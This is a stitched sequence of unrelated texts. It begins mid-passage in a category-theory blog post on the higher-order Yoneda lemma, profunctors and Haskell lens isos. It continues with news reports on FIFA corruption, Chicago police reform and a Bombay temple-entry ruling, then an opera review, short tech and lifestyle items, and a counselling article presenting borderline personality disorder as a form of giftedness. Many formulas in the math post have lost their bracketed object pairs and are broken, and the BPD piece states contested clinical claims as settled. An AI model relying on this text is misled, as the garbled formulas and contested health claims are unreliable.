Set. The natural transformations in this formula are higher order natural transformations between higher order functors.  Furthermore, if we substitute for φ another instance of the representable functor, [C, D](h, -) , we get the formula for the higher order Yoneda embedding:  Nat([C, D](g, -), [C, D](h, -)) ≅ [C, D](h, g)  which reduces higher order natural transformations to lower order natural transformations. Notice the inversion of g and h on the right hand side.  Using the end notation, this becomes:  ∫ f Set(∫ x D(g x, f x), ∫ y D(h y, f y)) ≅ ∫ z D(h z, g z)  We can further specialize this formula by replacing D with Set. We can then choose both functors to be hom-functors (for some fixed a and b ):  g = C(a, -) h = C(b, -)  We get:  ∫ f Set(∫ x Set(C(a, x), f x), ∫ y Set(C(b, y), f y)) ≅ ∫ z Set(C(b, z), C(a, z))  This can be simplified by applying the Yoneda lemma to the internal ends (“integrating” over x, y, and z) to get:  ∫ f Set(f a, f b) ≅ C(a, b)  This simple formula has some interesting possibilities that I will explore later.  Translation  All this might be easier to digest for programmers when translated to Haskell. Natural transformations are polymorphic functions:  forall x. f x -> g x  Here, f and g are arbitrary Haskell Functor s. It’s a straightforward translation of the end formula:  ∫ x∈Set Set(f x, g x)  where the end is replaced by the universal quantifier, and the hom-set in Set by a function type. I have deliberately used Set rather than Hask as the category of Haskell types, because I’m not going to pretend that I care about non-termination.  A higher order functor of the kind we are interested in is a mapping from functors to types, which could be defined as follows:  class HFunctor (phi :: (* -> *) -> *) where hfmap :: (forall a. f a -> g a) -> (phi f -> phi g)  The higher order hom-functor is defined as:  newtype HHom f g = HHom (forall a. f a -> g a)  Indeed, it’s easy to define hfmap for it:  instance HFunctor (HHom f) where hfmap nat (HHom nat') = HHom (nat . nat')  The types give it away:  nat :: forall a. g a -> h a nat' :: forall a. f a -> g a result :: HHom (forall a. f a -> h a)  Higher order natural transformations between such functors will have the signature:  type HNat (phi :: (* -> *) -> *) (psi :: (* -> *) -> *) = forall f. Functor f => phi f -> psi f  The standard Yoneda lemma establishes the isomorphism between f a and the following higher order polymorphic function:  forall x. (a -> x) -> f x ≅ f a  The Yoneda lemma for higher order functors is the equivalence between φ g and:  forall f. Functor f => forall x. (g x -> f x) -> φ f ≅ φ g  Compare this again with:  ∫ f Set(∫ x Set(g x, f x), φ f) ≅ φ g  The higher order Yoneda embedding takes the form of the equivalence between:  forall f. Functor f => forall x. (g x -> f x) -> forall y. (h y -> f y)  and  forall z. h z -> g z  The earlier result of the double application of the Yoneda lemma:  ∫ f Set(f a, f b) ≅ C(a, b)  translates to:  forall f. Functor f => f a -> f b ≅ a -> b  One direction of this equivalence simply reiterates the definition of a functor: a function a->b can be lifted to any functor. The other direction is a little more interesting. Given two types, a and b , if there is a function from f a to f b for any functor f , than there is a direct function from a to b . In Set, where there are functions between any two types, with the exception of a->Void , this is not a big surprise.  But there are other categories embedded in Set, and the same categorical formula will lead to more interesting translations. In particular, think of categories where the hom-set is not equivalent to a simple function type with trivial composition. A good example is the basic formulation of lens as the getter/setter pair, or a function of type:  type Lens s t a b = s -> (a, b -> t)  Such functions don’t compose naturally, but their functor-polymorphic representations do.  Profunctors  You’ve seen the reusability of categorical constructs in action. We can have functors operate on functors, and natural transformations that work between higher order functors. The same Yoneda lemma works as well in the category of types and functions, as in the category of functors and natural transformations. From that perspective, a profunctor is just a special case of a functor. Given two categories C and D, a profunctor is a functor:  Cop × D -> Set  It’s a map from a product category to Set. Because the first component of the product is the opposite category (all morphisms reversed), this functor is contravariant in the first argument.  Let’s translate this definition to Haskell. We substitute all three categories with the same category of types and functions, which is essentially Set (remember, we ignore the bottom values). So a profunctor is a functor from Setop×Set to Set. It’s a mapping of types — a two-argument type constructor p — and a mapping of morphisms. A morphism in Setop×Set is a pair of functions going between pairs (a, b) and (s, t) . Because of contravariance, the first function goes in the opposite direction:  (s -> a, b -> t)  A profunctor lifts this pair to a single function:  p a b -> p s t  The lifting is done by the function dimap , which is usually written in the curried form:  class Profunctor p where dimap :: (s -> a) -> (b -> t) -> p a b -> p s t  All said and done, a profunctor is still a functor, so we can reuse all the machinery of functor calculus, including all versions of the Yoneda lemma.  Let’s start with the Yoneda lemma for the category Cop×D. Straightforward substitution leads to:  [Cop×D, Set]((Cop×D)(, -), p) ≅ p   or, in the end notation:  ∫ ∈Cop×D Set((Cop×D)(, ), p ) ≅ p   Here, p is the profunctor operating on pairs of objects, such as  . A hom-set in the product category Cop×D goes between two such pairs:  (Cop×D)(, )  Here’s the straightforward translation to Haskell:  forall x y. (x -> c) -> (d -> y) -> p x y ≅ p c d  Notice the customary currying and the reversal of source with target in the first function argument due to contravariance.  Since profunctors are just functors, they form a functor category:  [Cop×D, Set]  (not to be confused with Prof, the profunctor category, where profunctors serve as morphisms rather than objects):  We can easily rewrite the higher-order Yoneda lemma replacing functors with profunctors:  ∫ p Set(∫  Set(q , p ), π p) ≅ π q  And this is what it looks like in Haskell:  forall p. Profunctor p => (forall x y. q x y -> p x y) -> pi p ≅ pi q  Here, π is a higher order functor acting on profunctors, with values in Set. In Haskell it’s defined by a type class:  class HFunProf (pi :: (* -> * -> *) -> *) where fhpmap :: (forall a b. p a b -> q a b) -> (pi p -> pi q)  Natural transformations between such functors have the type:  type HNatProf (pi :: (* -> * -> *) -> *) (rho :: (* -> * -> *) -> *) = forall p. Profunctor p => pi p -> rho p  Notice that we are now defining functions that are polymorphic in profunctors. This is getting us closer to the profunctor formulation of the lens library, in particular to prisms and isos.  Understanding Isos  An iso is a perfect example of a data structure straddling the gap between lenses and prisms. Its first order definition is simple:  type Iso s t a b = (s -> a, b -> t)  The name derives from isomorphism, which is a special case of an iso (I think a cuter name for an iso would be Mirror ). The crucial observation is that this is nothing but the type corresponding to a hom-set in the product category Setop×Set:  (Setop×Set)(, )  We know how to compose such morphisms:  compIso :: Iso s t a b -> Iso a b u v -> Iso s t u v (f1, g1) `compIso` (f2, g2) = (f2 . f1, g1 . g2)  but it’s not as straightforward as function composition. Fortunately, there is a higher order representation of isos, which composes using simple function composition. The trick is to make it profunctor-polymorphic:  type Iso s t a b = forall p. Profunctor p => p a b -> p s t  Why are the two definitions isomorphic? There is a standard argument based on parametricity, which I will skip, because there is a better explanation.  Recall the earlier result of applying the Yoneda lemma to the functor category:  forall f. Functor f => f a -> f b ≅ a -> b  The similarity is striking, isn’t it? That’s because, the categorical formula for both identities is the same:  ∫ f Set(f a, f b) ≅ C(a, b)  All we need is to replace C with Cop×D and rewrite it in terms of pairs of objects:  ∫ p Set(p , p ) ≅ (Cop×D)(, )  But that’s exactly what we need:  forall p. Profunctor p => p a b -> p s t ≅ (s -> a, b -> t)  The immediate advantage of the profunctor-polymorphic representation is that you can compose two isos using straightforward function composition. Instead of using compIso , we can use the dot:  p :: Iso s t a b q :: Iso a b u v r :: Iso s t u v r = p . q  Of course, the full power of lenses is in the ability to compose (and type-check) combinations of different elements of the library.  Note: The definition of Iso in the lens library involves a functor f : type Iso s t a b = forall p f. (Profunctor p, Functor f) => p a (f b) -> p s (f t) This functor can be absorbed into the definition of the profunctor p without any loss of generality.  Next: Combining adjunctions with the Yoneda lemma.  Acknowledgments  I’m grateful to Gershom Bazerman and Gabor Greif for useful comments and to André van Meulebrouck for checking the grammar and spelling.  Advertisements
-NEW YORK (Reuters) - A suspended Guatemalan judge who was arrested last month as part of a U.S. investigation into corruption in soccer’s world governing body FIFA won the right to be released from jail on Thursday on a $4 million bond.  Héctor Trujillo, 62, was secretary general of the Guatemalan soccer federation and a Constitutional Court judge until his Dec. 4 arrest while aboard a Disney cruise ship docked in Florida.  With Trujillo’s wife and one of his sons watching in court, U.S. Magistrate Judge Robert Levy in Brooklyn, New York approved the $4 million bond package for Trujillo under which he will be subject to home confinement and electronic monitoring.  Florian Miedel, Trujillo’s lawyer, said his client would reside in New Jersey pending trial.  According to the indictment, Trujillo solicited and accepted bribe payments from Media World, an affiliate of Spanish media company Imagina Group, for media and marketing rights for 2018 and 2022 World Cup qualifier matches.  Trujillo spent more than a month in U.S. custody, including three weeks in a facility in Oklahoma and a period in solitary confinement while in a Brooklyn detention center due to concerns authorities had about his safety, Miedel said.  “There was concern there about possible gang activity in the jail,” Miedel told reporters. “And as a Guatemalan judge, I guess they thought it was a risk to him.”  Trujillo is one of dozens of soccer officials charged by U.S. authorities investigating corruption in FIFA in a probe that has rocked soccer worldwide and sent the organization into crisis.  His arrest came a day after the U.S. Justice Department announced charges against 16 people for allegedly participating in schemes involving more than $200 million in bribes and kickbacks sought for marketing and broadcast rights to tournaments and matches.  U.S. authorities since May have announced charges against 41 defendants, including 12 individuals and two sports marketing companies that have pleaded guilty.  Trujillo has been in U.S. custody since being arrested while aboard the Disney cruise ship in Port Canaveral, Florida as part what Miedel said was a family vacation with his children and grandchildren.  He has since been suspended from his judicial position and ousted as secretary general of the soccer federation. Trujillo pleaded not guilty on Dec. 30, and Miedel said he plans to contest the charges “vigorously.”
-CLOSE Attorney General Loretta Lynch says the Justice Department will investigate the patterns and practices of the Chicago Police Department and its use of deadly force. (Dec. 7) AP  Chicago Mayor Rahm Emanuel introduces newly named Independent Police Review Authority head Sharon Fairley at a news conference at City Hall in Chicago on Dec. 7, 2015. (Photo11: European Pressphoto Agency)  CHICAGO — Embattled Mayor Rahm Emanuel offered a plaintive apology Wednesday for his responsibility in the city’s handling of the shooting death of a black teenager by a Chicago police officer.  Emanuel said the city is at a “defining moment” and that Chicago needs to go through a “painful but honest reckoning” not just in the case of last year’s shooting death of Laquan McDonald, 17, but “over decades” of mounting public distrust of the city's police department. He vowed "complete and total reform" of the police department.  “The first step in that journey is my step, and I’m sorry,” Emanuel said in an emotional address to Chicago's City Council. "What happened on Oct. 20, 2014 should have never happened. Supervision and leadership in the police department and oversight agencies that were in place failed. And that has to change."  The mayor, a former three-term U.S. congressman and chief of staff to President Obama, has been under fire since the city was forced by court order more than two weeks ago to release police dashboard video of the shooting death ofMcDonald. The teenager was shot 16 times by officer Jason Van Dyke.  Protesters who have taken to the streets of Chicago have called for both the mayor and Cook County State's Attorney Anita Alvarez to step down in the wake of the video's release. The Justice Department also announced Monday that it was launching a patterns and practices investigation of the police department.  Police and police union officials said after the shooting thatMcDonald, who was holding a knife and had PCP in his system when he was killed, lunged at Van Dyke. But the police video showed that McDonald was veering away from Van Dyke when the officer fired. Van Dyke continued to fire for about 13 seconds after McDonald was on the ground, the video shows.  At least five police officers who were at the scene backed up much of Van Dyke's account in statements to investigators after the shooting.  Prosecutors announced they were charging Van Dyke on the same day that the video was released by the city, more than 13 months after McDonald was gunned down on a city street.  Emanuel long resisted releasing the dashcam video, citing ongoing federal and state criminal probes. He even remained unwilling to release the video after the city council approved a $5 million payout to McDonald's family. He was finally forced to make the video public last month after an independent journalist successfully sued the city for the video under the state's Freedom of Information law.  Following the video's release, Emanuel fired Chicago Police Superintendent Garry McCarthy after initially resisting calls to do just that. He also ousted the head of the Independent Police Review Authority, which is tasked with investigating serious allegations of police misconduct. Since 2007, the agency has found only two police shootings unjustified among more than 400 cases it has investigated.  "These facts defy credibility," Emanuel said.  Emanuel's standing in the city has taken a beating since the release of the video.  The city has no statute for recalling a mayor. A state representative, La Shawn Ford, on Wednesday introduced legislation in Illinois General Assembly to create a mechanism that could lead to the ouster of his fell Democrat Emanuel.  A poll published Tuesday shows that more than half of Chicagoans believe Emanuel should resign as a result of his handling of the Laquan McDonald video.  More than 51% of likely voters said Emanuel should resign, while 29% said he should not step down, according to the poll commissioned by The Insider, a newsletter published by the Illinois Observer.  "I know that I personally have a lot of work to do to win back the public's trust and that words are not enough," Emanuel said.  In the nearly 40-minute speech, Emanuel vowed the city would not “shrink from the challenge” of making reforms needed to bolster public trust in a department that has been beset for years by allegations of torturing and beating suspects and targeting the city's black and Latino residents.  He also said the city's police leadership must address the police culture's "code of silence" that has led to an entire department's reputation being tarnished by a few bad actors.  "No officer should be allowed to behave as if they are above the law just because they are responsible for upholding the law," Emanuel said. "Permitting and protecting even the smallest acts of abuse by a tiny fraction of our officers leads to a culture where extreme acts of abuse are more likely, just like what happened to Laquan McDonald."  The city has spent more than $500 million over the last decade on payouts and legal fees to mostly African-American men who have alleged abuse by Chicago police officers.  The Emanuel administration also established a reparations program earlier this year to benefit victims of torture under former Chicago police commander Jon Burge. The officers used electrical shock, burning and mock executions to elicit confessions from suspects, mostly African-American, from the early 1970s through the early 1990s.  The city also came to an agreement with the American Civil Liberties Union earlier this year on fixing its use of controversial “stop and frisk” searches in which police targeted African Americans for 72% of searches.  "Laquan McDonald's death was totally avoidable," Emanuel said. "Our only choice is to do everything in our power to right that wrong."  Chicago is the latest American city that has been forced to deal with long-simmering distrust of police departments in the African-American community following the release of video that shows police using deadly force. Over the last 18 months, Cleveland, New York and North Charleston, S.C., are among cities that have faced outrage from the public following the release of disturbing videos showing fatal use of force by police officers.  "When African-American mothers, fathers and grandparents feel it is necessary to train their sons and daughters to behave with extreme caution when they are pulled over by police and have both hands visible on the wheel, what does that say?" Emanuel said.  Read or Share this story: http://usat.ly/1Qw2f8O
-The Senate is no longer a locus of oratory, and the House is a haven for demagogues. The president can’t get legislation enacted, so he plays small ball, tweaking a vast regulatory state. Is it any wonder that the Supreme Court is an object of fascination, with several of its justices now enjoying celebrity status? The high court may be divided, and its decisions sometimes unpopular, but it isn’t dysfunctional or impotent, and its opinions are at least grammatical and often inspiring.  “Scalia/Ginsburg,” an opera by Derrick Wang that premiered at the Castleton Festival on Saturday evening, celebrates the virtues of the court through an affectionate, comic look at the unofficial leaders of its conservative and liberal wings. A great deal of media attention has been paid to Wang’s confection since bits and pieces of it were performed at the court two years ago. The premiere of the finished work was highly anticipated and attended by Justice Ruth Bader Ginsburg, who was warmly received by the crowd; Justice Antonin Scalia was in Rome and didn’t attend.  The one-act opera, paired on a double bill with Ravel’s “L’heure espagnole,” feels like what was once known as a pièce d’occasion, a work assembled for a festive event, and not necessarily intended to be a lasting contribution to the repertoire. Great composers often cannibalized music from these works for later duty in more finished, lasting compositions. Wang could do likewise, because there is much that is charming, clever and amusing in the score.  But it needs shaping and trimming. The opera, including the libretto, is woven together from operatic conventions, repurposed to give the composer (who is also the librettist) a chance to engage the two justices in musical and legal repartee, much of it drawn directly from their own writing or public comments. Drawing on the idea that the legal opinions are built on a long history of precedent, Wang has created a score that mixes direct quotation with musical pastiche, shifting from idea to idea with the manic frenzy of Carl Stalling’s old Looney Tunes scores. Printed versions of the libretto have detailed footnotes citing not just the source of the text but the musical allusions.  So we get bits from Bizet’s “Carmen,” Verdi’s “La traviata,” Puccini’s “La bohème,” plus a Christmas carol, the lament from Purcell’s “Dido and Aeneas,” “The Star-Spangled Banner” and a lot of Mozart and Mozart-like music.  The virtue of this style is its flexibility in transporting text, and Wang’s opera is text-heavy. Recitative and arioso passages allow the singers to barrel through words at a tremendous clip.  The libretto reads better on the page than it functions on stage, though opera lovers will enjoy the challenge of identifying its myriad references.  Lawyers and court watchers will play a similar game with the text. Some of the allusions are clever to the point that probably only those with a fetish for the court will get them: In the final trio, Justice Ginsburg sings music from Strauss’s “Der Rosenkavalier,” an opera whose main character, the dignified Marschallin, she particularly admires.  Ginsburg, sung with animation, clarity and a light, flexible soprano voice by Ellen Wieser, is clearly the sympathetic heroine of the work. Scalia, created by tenor John Overholt, is her comic foil, though not an unsympathetic character. Overholt has a natural comic’s gift and finessed a likable curmudgeon from material that might have yielded caricature. Presiding over the proceedings, which are loosely structured as a series of trials meant to test Scalia’s character (perhaps in the fashion of Mozart’s “Magic Flute”), is The Commentator, sung by bass-baritone Adam Cioffari, who has a suitably commanding voice.  How to salvage a musical theater piece from all this material?  First, cut. An aria near the end, which recalls the marriage of Ginsburg to her late husband, Martin Ginsburg (who died in 2010), is a touching tribute to love, support, fidelity and his fine cooking, but it is one of several set pieces that are simply tacked on to an already overlong drama.  Second, refine. Pastiche and quotation are woven into the concept of the work, but they need better framing. More original material, and closer attention to the orchestration — to create a distinctive sonic palette to unify the work — might help.  Third, recast. Many of the showpieces in the score take the singers’ voices into uncomfortable places, where they lose focus and power; critical lines of text from both Overholt and Wieser were sometimes lost in muffled lower passages.  But fundamentally, the composer faces a critical choice: Is this meant to entertain and engage audiences, or is it a conceptual stunt aimed primarily at court watchers, lawyers and Washington insiders? To his credit, Wang hasn’t used opera as a cheap comic vehicle for lawyer jokes, but he hasn’t yet decided if he really wants to write a serviceable work for the opera house.  “Scalia/Ginsburg” was preceded by Ravel’s one-act slapstick comedy of sex and sexual allusion, “L’heure espagnole,” a sophisticated trifle that premiered in 1911 at the Opera-Comique in Paris.  In Ravel’s hands, the comic concept — that a clockmaker’s lusty wife needs her mechanism regulated — is applied lightly throughout in a work that mixes sumptuous orchestration and harmonic color with burlesque antics.  Mezzo-soprano Kate Allen, as Concepción, was the most accomplished of the five singers who fill out the ensemble cast. Allen’s mezzo is gorgeous, with a slight vibrato and a good deal of power throughout its range. But her performance felt constrained, cautiously sung and not quite in the manic spirit of Ravel’s bedroom farce. Concepción is one of the most delightfully transgressive female characters in all of opera; Allen should be having more fun with this.  Tenors Tyler Nelson and Cris Frisco sang Gonzalve and Torquemada respectively, and both with voices comfortable with the light, quavery, nuanced style of French song. Bass-baritone Tyler Simpson was a fine comic presence as the pompous Don Iñigo Gomez and baritone Ben Bloomfield was charismatic as the good-natured, long-suffering, finally rewarded Ramiro.  Maria Tucci directed both shows, with a deft and sympathetic hand, and Salvatore Percacciolo conducted, drawing out the best of Ravel’s prismatic orchestration and keeping everything tight and orderly in the motley of Wang’s crazy-quilt score.  The double bill of Ravel’s “L’heure espagnole” and Derrick Wang’s “Scalia/Ginsburg” will be repeated July 17 and 19 at the Castleton Festival.
-MUMBAI: No law prevents women from entering a place of worship and if men are allowed, then women too should be permitted , the Bombay high court observed on Wednesday while stating that any temple or person imposing such restriction can face a six month jail term under a Maharashtra law.The observations were made by a division bench of Chief Justice DH Waghela and Justice MS Sonak during the hearing of a public interest litigation by senior advocate Nilima Vartak and activist Vidya Bal, challenging the prohibition of entry of women in the Shani Shingnapur temple in Ahmednagar district of Maharashtra."There is no law that prevents entry of women in any place. If you allow men then you should allow women also. If a male can go and pray before the deity then why not women? It is the state government's duty to protect the rights of women," Chief Justice Waghela said."If it is the sanctity of the deity that you are worried about then let the government make such a statement. Under the Maharashtra Hindu Place of Worship (Entry Authorisation) Act, 1956, if any temple or person prohibits any person from entering a temple then he or she faces a six-month imprisonment," the court said.The court also said that the government should give wide publicity to the Act and issue circulars, informing the general public at large about the Act and its provisions.The court directed government pleader Abhinandan Vagyani to take instructions and make a statement on Friday (April 1), on whether or not it will ensure that women will be allowed to enter the temple.The petition seeks the entry of women not just into the temple, but also inside its sanctum sanctorum.The petition says that the prohibition is arbitrary, illegal and in violation of fundamental rights of citizens.
-Children’s books are a very high-demand and lucrative industry. Bright, strong, and high-personality visuals combine with inventive and inspiring stories to capture the imaginations of children of all ages and origins. Dr. Seuss may be one of the most prolific authors, with his iconic visual style and hilarious rhymes, but I have strong memories of all kinds of children’s books from when I was younger. Many of them being pop-up books.  Peronio is, according to press release communication, “a game that tells the story of a boy who cannot decide what he wants to be when he grows up.” It tells this story through an innovative combination of technologies. Through the use of augmented reality, it can display holographic images on a table to interact with, you can use it on a tablet simply as a virtual pop-up book, and you can also even check it out in VR with both Google Cardboard and Gear VR versions through your phone’s camera. You get to actually interact with Peronio on the pages with your hands and gaze.  That flexibility is a big reason why the application is so interesting. You can just use the touchscreen of a tablet to see the digital version, or you can lay out an actual piece of physical paper and point your headset or tablet at it to watch it spring to life on the table itself.  Skylanders recently experimented with a similar type of AR implementation with mostly positive results and we will likely see more examples of this going forward. Modern Polaxis is a great example of how similar technology is being use in the comic industry.  The video directly above shows some VR-specific footage of what it looks like inside a virtual reality headset to play Peronio, whereas the video at the top of this article shows footage of the tablet mode, AR mode, and VR modes all together to give you an idea of the differences in presentation. We hope to see more entries in this series from Ovni Studios.  Tagged with: children
-21 Amazingly Nerdy Nail Designs  Nail art has been around for centuries, but the trend has gained widespread popularity over the past couple years.  However, today's manis are far from the prim and proper French classic. Reddit users of the nail art community RedditLacqueristas, among other web users, have turned stereotypical genres of nerd into elegant works of art. Whether you like video games, computers, robots, pirates or memes, there is a cool and elegant design found on someone's finger tips.  This is Revenge of the Nerds, nail art style.  SEE ALSO: YouTube Beauty: Top 10 Channels to Follow  Most of these manicures are done at home. Do you have what it takes? Share your nerdy nail art in the comments below.  Photo pinned by Grace Cauley, from The Nailasaurus
-"It is increasingly being recognised that many individuals who receive the diagnosis of BPD are naturally highly intuitive and perceptive. What was previously thought of as a genetic vulnerability may actually reflect an innate talent."  People who were born emotionally intense, sensitive and are gifted with heightened perceptivity are like powerful sports cars. It is as if they have an extremely powerful engine that requires a special fuel and a specific kind of care. In the right condition and with the right keeping, they can be one of the most high-performing machines in the world and win many races. The problem is, however, that they may not have been taught how to run this powerful machine. To borrow a metaphor from psychologist Dr Hallowell, it is like having a Ferrari with bicycle brakes, and these brakes are simply not strong enough to control such a powerful engine.  Many emotionally intense people are diagnosed or misdiagnosed with various mental disorders throughout their lives, some of the most common ones are mood disorders, including bipolar disorder, attention deficit hyperactivity disorder (ADHD), eating disorders and personality disorders. Whilst these conditions are real and extremely painful, we should not immediately assume that they are signs of a defect.  A ‘diagnosis’ in psychiatry simply represents a cluster of symptoms, which are manifestations of internal conflicts and disease. In reality, the distinction from one disorder to another is unclear. The purpose of having these arbitrary categories is so that clinicians can fall back on a standardised framework to do research and to prescribe medication. Plus, they serve a purpose for the insurance industry. With the dominance of the medical model, we tend to pathologize and overlook the possibility that the distress may be a result of us not honouring our utterly unique make-up as individuals.  In this article, we consider how this might be the case with BPD. It is increasingly being recognised that many individuals who receive the diagnosis of BPD are endowed with heightened sensitivity and perceptivity, and what was previously thought of as a genetic vulnerability may actually be a form of giftedness. Drawing on psychological research and theories, we see that many people who struggle with BPD do so as a result of two combing factors:  A) their innate intuitive talents, and the specific developmental requirements that go along with it, and  B) a childhood environment that fails to meet their emotions needs.  What does it mean to be 'hyper-empathic'?  BPD is also known as emotional dysregulation disorder or emotionally unstable personality disorder (World Health Organization, 1992). Despite being referred to as a ‘personality disorder’, it is not a character flaw but is best understood as a limitation in a person’s capacity to regulate emotions. This means that the person with BPD often experiences emotions as rapidly changing, or spiralling out of control. These symptoms go alongside impulsive self-soothing behaviours and a chronic sense of internal hollowness.  Although the link between BPD and empathy remains controversial, many people with BPD identify with the traits of being an “empath” or being hyper-empathic.  Empathy is broadly defined as the way we react to one another (Davis, 1983), and it defines how we conduct ourselves in this world. An empath is extremely sensitive to the emotions and energy of other people, animals and places (Orloff, 2011). Although the term ‘empath’ has not been used very much within the academia, psychologists have extensively studied what it is like to have high empathy, and they have found the following phenomenon:  Individual differences in empathy level affect the way people recognise facial expressions (Besel and Yuille, 2010) and react to social cues (Eisenberg and Miller, 1987).  People with high empathy are better at recognising emotions in others. However, they also have a ‘bias’ towards negative emotional expressions, meaning that they are more sensitive and alert to negative feelings in others. Perhaps due to these propensities, they are also more likely to experience ‘empathic distress’ (Chikovani, Babuadze, Tamar Gvalia, Surguladze, 2015).  Interestingly, it was found that women with high empathy are better than their male counterparts in noticing and recognising sadness.  Excessive empathy - an intense sharing of other’s negative emotions - is linked to emotional disorders in health professionals and caregivers. Their empathic distress is often framed as compassion fatigue or burnout. (Batson et al., 1987, Eisenberg et al., 1989, Gleichgerrcht and Decety, 2012).  It is important that naturally empathic people learn to hone their empathic skills, such as emotional regulation, perspective taking, empathic accuracy (the ability to accurately identify and understand emotional states and intentions in yourself and others) (McLaren, 2013). Without these skills, many empaths ended up ‘absorbing’ the emotions of others to the point of being burned out.  The 'borderline empathy paradox'  It has long been recognised that individuals with BPD seem to possess an uncanny sensitivity to other people’s subconscious mental content - thoughts, feelings and even physical sensations. They also seem to have a talent in involving and influencing others (Park, Imboden, Park, Hulse, and Unger, 1992, p. 227).  In the first study that explicitly investigates this observation, Frank and Hoffman (1986) found that individuals with BPD showed a heightened sensitivity to non-verbal cues when compared with people without BPD. This finding has been validated through other follow-up research (Domes, Schulze, and Herpertz, 2009). A well-known study, for instance, compared the way people with BPD react to photographs of people’s eyes to those without BPD. The researchers found that the BPD group was more able to correctly guess what emotions these eyes expressed, which showed their enhanced sensitivity to the mental states of others (Fertuck et al., 2012).  At their best, these highly intuitive individuals’ ability would constitute what giftedness psychologists call 'personal intelligence' (Gardner,1985). This kind of giftedness consists of two components: ‘interpersonal intelligence’ - the capacity to understand the intentions, motivations and desires of other people, and ‘intra-personal intelligence’ - the capacity to understand oneself, to appreciate one’s feelings, fears and motivations.  Despite their enhanced empathic ability, many people with BPD have difficulties navigating social and interpersonal situations. Without the ability to regulate their emotions and manage attachment relationships, their hypersensitivity may end up showing up as emotional storms and mood swings (Fonagy, Luyten, & Strathearn, 2011), being easily triggered by stressful situations, and a constant fear abandonment and rejection (Fertuck et al., 2009). This phenomenon is known as the ‘borderline empathy paradox’ (Franzen et al., 2011; Krohn, 1974).  Why do I feel and see so much?  It is true that high empathy may be an outcome of growing up in a traumatic and unpredictable childhood environment. Indeed, many people with BPD have a history of abuse, neglect or prolonged separation as children. Some studies show that as many as 70% of the people with the disorder reported being sexually abused.  As a response to confusing or neglectful parenting, these children had to ‘amp up’ their empathic functioning in order to protect themselves. They were trained by their environment to become highly attuned to the subconscious cues given out by their parents so that they can be prepared for their unpredictable behaviours.  Environmental factors alone, however, do not explain why many siblings who grow up in the same household are not affected in the same way. Thus, we must also consider the biological and innate temperament-based factors that affect people’s distinctive reactions to traumatic events. As psychologist Bockian (2002) suggested: “It is extremely unlikely that someone with a placid, passive, unengaged, aloof temperament would ever develop borderline personality disorder.”  Child psychologists have found that there is a subset of children who has ‘heightened sensitivity to the social world’, whose developmental and emotional outcomes are critically dependent upon their early childhood conditions. (Boyce, Chesney, Kaiser, Alkon-Leonard and Tschann, 1991)  In most cases, serious difficulties in emotional regulation, or BPD, is a result of two combing factors:  A) Being born with heightened sensitivity and a gift in perceptivity, and  B) a deficient or vicarious childhood environment that fails to meet these children’s emotions needs.  If it is a gift, why do I suffer so much?  Under favourable, 'good enough' circumstances, a child who is born with a gift in perceptivity would not grow up to have serious emotional regulation issues or BPD. However, if the primary caretakers did not have the capacity to attune to their child, or even resented or were threatened by their unusually perceptive child, they may consciously or subconsciously sabotage the child’s healthy development. The nature of psychological abuse may differ, but it always includes an assault on the child’s perceptions and the development of their autonomy.  For gifted children, ongoing negative feedback towards their intuitive perception is ‘particularly damaging’ (Park et al., 1992, p.228).  Attachment theories have us know that children will do all they can in order to preserve a good image of their parents. Even when their parents are incompetent, abusive or neglectful, children naturally blame themselves because it is not safe to think of the people they depend on as ‘bad’ (Winnicott, 1960). This scenario is complex if the child is naturally intuitive; many emotionally gifted children have strong feelings of love and responsibility for their parents and often feel compelled by a need or desire to take care of them.  If the parents either explicitly or implicitly reject the child - he or she will internalise the shame of being rejected, and experience him/herself as being profoundly bad (toxic shame). As a result of their negative experience of themselves and those around them, these children’s natural gifts in perceptivity become ‘hijacked’ by negative bias and negative projections.  Without an environment where they can learn to set healthy boundaries and experience secure attachment without exploitation, these children develop ’symptoms’ such as an inability to self-soothe and regulate emotions, a fear of rejection, and a deep sense of internal hollowness.  Many emotionally intense adults have struggled all their lives feeling lonely, misunderstood, with the belief that there is something deeply wrong with them. If you are one of them, I hope that you can reconsider the potential gifts that are within you.  Whilst the history cannot be changed, you can re-write the story that you have been telling yourself. You are in no way ‘bad’. You are not ‘too much’. What you are, is a sensitive, intuitive, gifted individual, who were deprived of the right kind of nourishment as you were growing up. Your high level of awareness and acuity to subtleties is not only unusual but also extremely precious.  Because of your innate perceptivity, you cannot ‘un-see’ or ‘un-feel’ things. Perhaps like a poppy that has outgrown his peers, you were being shamed and ‘chopped down’. Your struggles are not your fault, and the shame that you carry is a natural reaction to a childhood environment that has failed to support you.  Perhaps there is a little voice within you that have always known you were not fundamentally wrong. If you can begin to listen to that voice, you can liberate yourself to retrieve the long-forgotten gifts inside you.  Your psyche wants to heal. Once you can begin to recognise and trust your own fundamental goodness, restoration and integration would naturally happen.  Counselling Directory is not responsible for the articles published by members. The views expressed are those of the member who wrote the article.
-As more and more Chromebooks support running Android apps, it's becoming more important than ever to make sure developers create Chromebook-friendly apps. Google offers extensive documentation to help developers, but there was no way to test these apps without buying a real Chromebook. Thankfully, that could change soon, as recent code commits indicate a Chrome OS emulator will be arriving soon in the Android SDK.  If you're unfamiliar with it, the Android SDK is the Android development kit created and maintained by Google. After you install the SDK, developers can download an Android emulator to test their apps on a wide variety of Android versions, screen size, and hardware platforms. Many different 'images' are provided, which recreate a wide variety of devices (like the Google Pixel) and Android OS versions. A recent pull request on the Android emulator section of the AOSP repository shows that Google will soon offer Chrome OS images for download, allowing developers to run an emulated copy of Chrome OS to test Android apps with.  This file indicates that emulator images of the Stable, Beta, Dev, and Canary branches will be available for Windows, Mac, and Linux. It seems like only x86 images will be available, at least initially, developers hoping to test their apps on ARM-based Chromebooks will still have to use real hardware.
